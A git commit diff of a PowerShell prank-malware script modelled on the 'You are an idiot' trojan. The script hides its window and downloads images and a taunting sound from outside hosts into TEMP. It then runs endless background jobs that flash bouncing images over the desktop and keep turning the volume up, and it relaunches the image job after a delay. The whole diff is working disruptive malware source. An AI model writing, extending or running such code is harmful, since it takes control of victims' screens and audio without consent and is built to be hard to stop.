Update main.ps1
This commit is contained in:
@@ -31,8 +31,8 @@ if ($hide -eq 1){
|
|||||||
}
|
}
|
||||||
|
|
||||||
# Download sounds and images
|
# Download sounds and images
|
||||||
iwr -Uri 'https://i.ibb.co/gDVfZ0L/white.jpg' -OutFile "$env:TEMP\white.jpg"
|
iwr -Uri 'https://i.ibb.co/RpFpd34/wh.png' -OutFile "$env:TEMP\white.png"
|
||||||
iwr -Uri 'https://i.ibb.co/0nxjGzH/black.jpg' -OutFile "$env:TEMP\black.jpg"
|
iwr -Uri 'https://i.ibb.co/Nx16b06/bl.png' -OutFile "$env:TEMP\black.png"
|
||||||
iwr -Uri 'https://github.com/beigeworm/assets/raw/main/idiot.wav' -OutFile "$env:TEMP\sound.wav"
|
iwr -Uri 'https://github.com/beigeworm/assets/raw/main/idiot.wav' -OutFile "$env:TEMP\sound.wav"
|
||||||
sleep 1
|
sleep 1
|
||||||
|
|
||||||
@@ -47,37 +47,57 @@ $job1 = {
|
|||||||
}
|
}
|
||||||
|
|
||||||
# Loop images
|
# Loop images
|
||||||
$job2 = {
|
$job2 = {
|
||||||
Add-Type -AssemblyName System.Drawing
|
Add-Type -AssemblyName System.Drawing
|
||||||
Add-Type -AssemblyName System.Windows.Forms
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
$image1 = [System.Drawing.Image]::FromFile("$env:TEMP\white.jpg")
|
$image1 = [System.Drawing.Image]::FromFile("$env:TEMP\white.png")
|
||||||
$image2 = [System.Drawing.Image]::FromFile("$env:TEMP\black.jpg")
|
$image2 = [System.Drawing.Image]::FromFile("$env:TEMP\black.png")
|
||||||
$screen = [System.Windows.Forms.Screen]::PrimaryScreen
|
$screen = [System.Windows.Forms.Screen]::PrimaryScreen
|
||||||
$Width = $screen.Bounds.Width
|
$Width = $screen.Bounds.Width
|
||||||
$Height = $screen.Bounds.Height
|
$Height = $screen.Bounds.Height
|
||||||
$desktopHandle = [System.IntPtr]::Zero
|
$desktopHandle = [System.IntPtr]::Zero
|
||||||
$graphics = [System.Drawing.Graphics]::FromHwnd($desktopHandle)
|
$graphics = [System.Drawing.Graphics]::FromHwnd($desktopHandle)
|
||||||
|
$random = New-Object System.Random
|
||||||
while ($true){
|
$x = 0
|
||||||
$graphics.DrawImage($image1, 0, 0, $Width, $Height)
|
$y = 200
|
||||||
$graphics.DrawImage($image2, 0, 0, $Width, $Height)
|
$dx = 15
|
||||||
|
$dy = $random.Next(10, 25)
|
||||||
|
$imageSize = 400
|
||||||
|
$i = 1
|
||||||
|
|
||||||
|
while ($true) {
|
||||||
|
if ($i -eq 1){
|
||||||
|
$graphics.DrawImage($image1, $x, $y, $imageSize, $imageSize)
|
||||||
|
$i = 0
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
$graphics.DrawImage($image2, $x, $y, $imageSize, $imageSize)
|
||||||
|
$i = 1
|
||||||
|
}
|
||||||
|
$x += $dx
|
||||||
|
$y += $dy
|
||||||
|
if ($x + $imageSize -gt $Width -or $x -lt 0) {
|
||||||
|
$dx = -$dx
|
||||||
|
}
|
||||||
|
if ($y + $imageSize -gt $Height -or $y -lt 0) {
|
||||||
|
$dy = -$dy
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
# Volume up repeatedly
|
# Volume up repeatedly
|
||||||
$job3 = {
|
$job3 = {
|
||||||
|
|
||||||
$wshell = New-Object -ComObject wscript.shell
|
$wshell = New-Object -ComObject wscript.shell
|
||||||
while ($true){
|
while ($true){
|
||||||
$wshell.SendKeys([char]175)
|
$wshell.SendKeys([char]175)
|
||||||
sleep -m 10
|
sleep -m 10
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
# Start jobs
|
# Start jobs
|
||||||
Start-Job -ScriptBlock $job1
|
Start-Job -ScriptBlock $job1
|
||||||
Start-Job -ScriptBlock $job2
|
Start-Job -ScriptBlock $job2
|
||||||
Start-Job -ScriptBlock $job3
|
Start-Job -ScriptBlock $job3
|
||||||
pause
|
sleep 17
|
||||||
|
Start-Job -ScriptBlock $job2
|
||||||
|
pause
|
||||||
|
|||||||
Reference in New Issue
Block a user